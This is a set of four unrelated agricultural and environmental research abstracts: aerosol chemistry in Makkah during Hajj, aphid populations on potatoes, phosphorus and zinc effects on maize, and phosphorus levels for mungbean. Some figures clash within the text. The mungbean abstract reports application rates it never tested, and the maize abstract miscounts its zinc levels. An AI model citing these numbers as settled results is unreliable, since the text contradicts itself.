CHARACTERIZATION OF ATMOSPHERIC AEROSOLS IN MAKKAH
 


ABSTRACT:

In the last decade atmospheric aerosols have received much attention due to their potential influence on the global radiation budget by acting as negative forcing and having adverse impact on human health by inducing chronic respiratory illness, cancer and premature death. The main aim of this paper is to characterise atmospheric aerosols in suspended particles (PM10 and PM2.5) in Wadi Mina, where pilgrims stay during Hajj seasons in Makkah, Saudi Arabia. To understand the characteristics of atmospheric aerosols in the urban areas of Makkah City, experiments were conducted for eight days during the Hajj seasons 2010 (1431H - Arabic calendar) and 2011 (1432H). High volume sampler was used to collect samples of suspended particles (PM10 and PM2.5), which were analysed using an ion chromatography system. Water-soluble ions (WSIs) of atmospheric aerosols contain many important compounds, such as sulphate (SO42-), nitrate (NO3-) and ammonium (NH4+). Statistical analysis of the data showed that the daily mean concentrations of PM10 and PM2.5 were 145.4 and 13.2 µg/m3, respectively. Sulphate ions (SO42-) were the most predominant in WSIs followed by nitrate ions (NO3-) and ammonium ions (NH4+). The daily mean concentrations of nitrate, sulphate and ammonium in PM10 were 5.5, 21.8 and 2.0 µg/m3, respectively; whereas the daily mean concentrations in PM2.5 were 3.5, 20.1 and 1.7 µg/m3, respectively.  The ratios of NO3−/SO42− have been discussed and compared to those found in many studies around the world.

POPULATION DYNAMICS OF MYZUS PERSICAE(SULZER) IN SPRING POTATOES AT SWABI


ABSTRACT:

The present study was conducted to find out the population trends of Green peach aphid Myzuspersicae(Sulzer) (Homoptera: Aphididae) on different potato verities at theUniversity of Swabi, during spring 2015. Five potato varieties namely NARC 2004-05, Stemto, Rosemara, VGBRer and Sarpomirawere tested in the field. Population of aphid was recorded at weeklyintervals throughout the growing season.The results revealed that density of M. Persicae was highest on Rosemara variety with 5.69 aphid/plantand lowest onpotato variety NARC 2004-05 with 3.47 aphid/leaf. M. persicae was consistently at different densities in different times on potato varieties. The aphid infestation started in all varieties with a mean density of 1.36 aphids   /plant during 1stweek of March 2015. The number of aphids steadily increased with significant differences till the 3rd observation (2nd week of March), where 3.46 aphid /plant were recorded.High mean population of 10.93 aphids/plant was recorded in the 4thweek of March, followed by the mean number of 9.4 aphid /plant in the 3rd week of March. The decline in population started in the start of April. The period from 3rd to 4thweek of March was found very critical and need special attention for the effective and timely management of the aphids.

PHOSPHORUS AND ZINC FERTILIZATION ON MAIZE YIELD AND YIELD COMPONENTS
ABSTRACT:
The deficiency of micro and macro nutrients limits the growth and development capacity of major crops particularly, the executive crops like maize. To quantify, the effect of phosphorus (P) and Zinc (Zn) application on the maize productivity, a field experiment was conducted at Agronomy Research Farm, the University of Agriculture Peshawar during summer 2012. Two level of P (0 and 90 kg ha-1) soil applied at the time of sowing and five levels of Zn (0, 1.25, 3.75 and 5 kg ha-1) applied as foliar spray at 2-3 leaves stage were studied. The application of 90 kg P ha-1 had resulted in grater leaf area (389.90 cm2), No of plants ha-1 (63547), thousand grains weight (322.5 g), grains cob-1 (484), biological yield (12131 kg ha-1), and grain yield (4600 kg ha-1) over the control treatment. Increasing Zn concentration had improved the maize growth and yield contributing parameters. Specifically, the application of 3.75 kg Zn ha-1 had resulted in high leaf area (409.80 cm2), No. of plants ha-1(65070), thousand grains weight (338.5 g), biological yield (12620 kg ha-1) and grain yield (4957 kg ha-1). However, grains cob-1 (509) increased linearly with increasing Zn concentration and reached to maximum values at the application of 5 kg Zn ha-1. Thus, it was concluded from the experiment that both P fertilization (90 kg ha-1) and Zinc applied as foliar spray at the rate of 3.75 kg ha-1 had increased the maize growth, biological yield, grain yield and yield contributing parameters. Further research on plant physiological traits in response to Zn is needed for better understanding of involved mechanism for improving the maize productivity.

RESPONSE OF MUNGBEAN (VIGNA RADIATA L.) CULTIVARS TO VARIOUS LEVELS OF PHOSPHOROUS APPLICATION IN AGROCLIMATIC CONDITION OF PESHAWAR
ABSTRACT:
This study was aimed to help the farmers to decide whether they can reduce their costs of farming through adjustment commercial fertilizer for various varieties. Farmers need to know what fertilizer application rate they should use under their conditions for adequate productivity. In practice grain yield hardly changes with further increases in fertilizer application, once maximum yield is reached. A promising approach for overcoming poor crop yields in phosphorus (P)-deficient soils is to exploit the genetic variation among plants to grow under low P conditions. To obtain these aims an experiment was carried out at Agricultural Research Farm of NWFP Agricultural University Peshawar during 2003-04. Four levels of P i.e. 0, 30, 60 and 90 kg ha-1 on two mung bean cultivars NM-92 and NM-98 were studied in the experiment. Mung bean cultivars has significantly affected with maximum plant m-2 (195), pods plant-1(31.94), grain pod-1(13.31) and grain yield (844.9). The cultivar NM-98 performed better than the NM-92. Phosphorous application has affected and has maximum 1000 grain weight (46.45), grain yield (858.2 kg ha-1) and biological yield (4595 kg ha-1). Increased in fertilizer has increased these parameters up to some extent and a decreasing trend was observed beyond 60 kg ha-1 phosphorous application. Regarding yield 89% variations was accorded by the phosphorous application. The phosphorous application rates of 80, 120, and 160 kg ha-1 showed 9, 12, and 9.5%, increase in grain yield over control (0 kg P ha-1), respectively. Based on the above facts it is concluded that mungbean cultivar NM-98 applied with 60 kg P ha-1 was better in terms of yield and yield components and may be recommended for cultivation in agro-climatic condition of Peshawar.
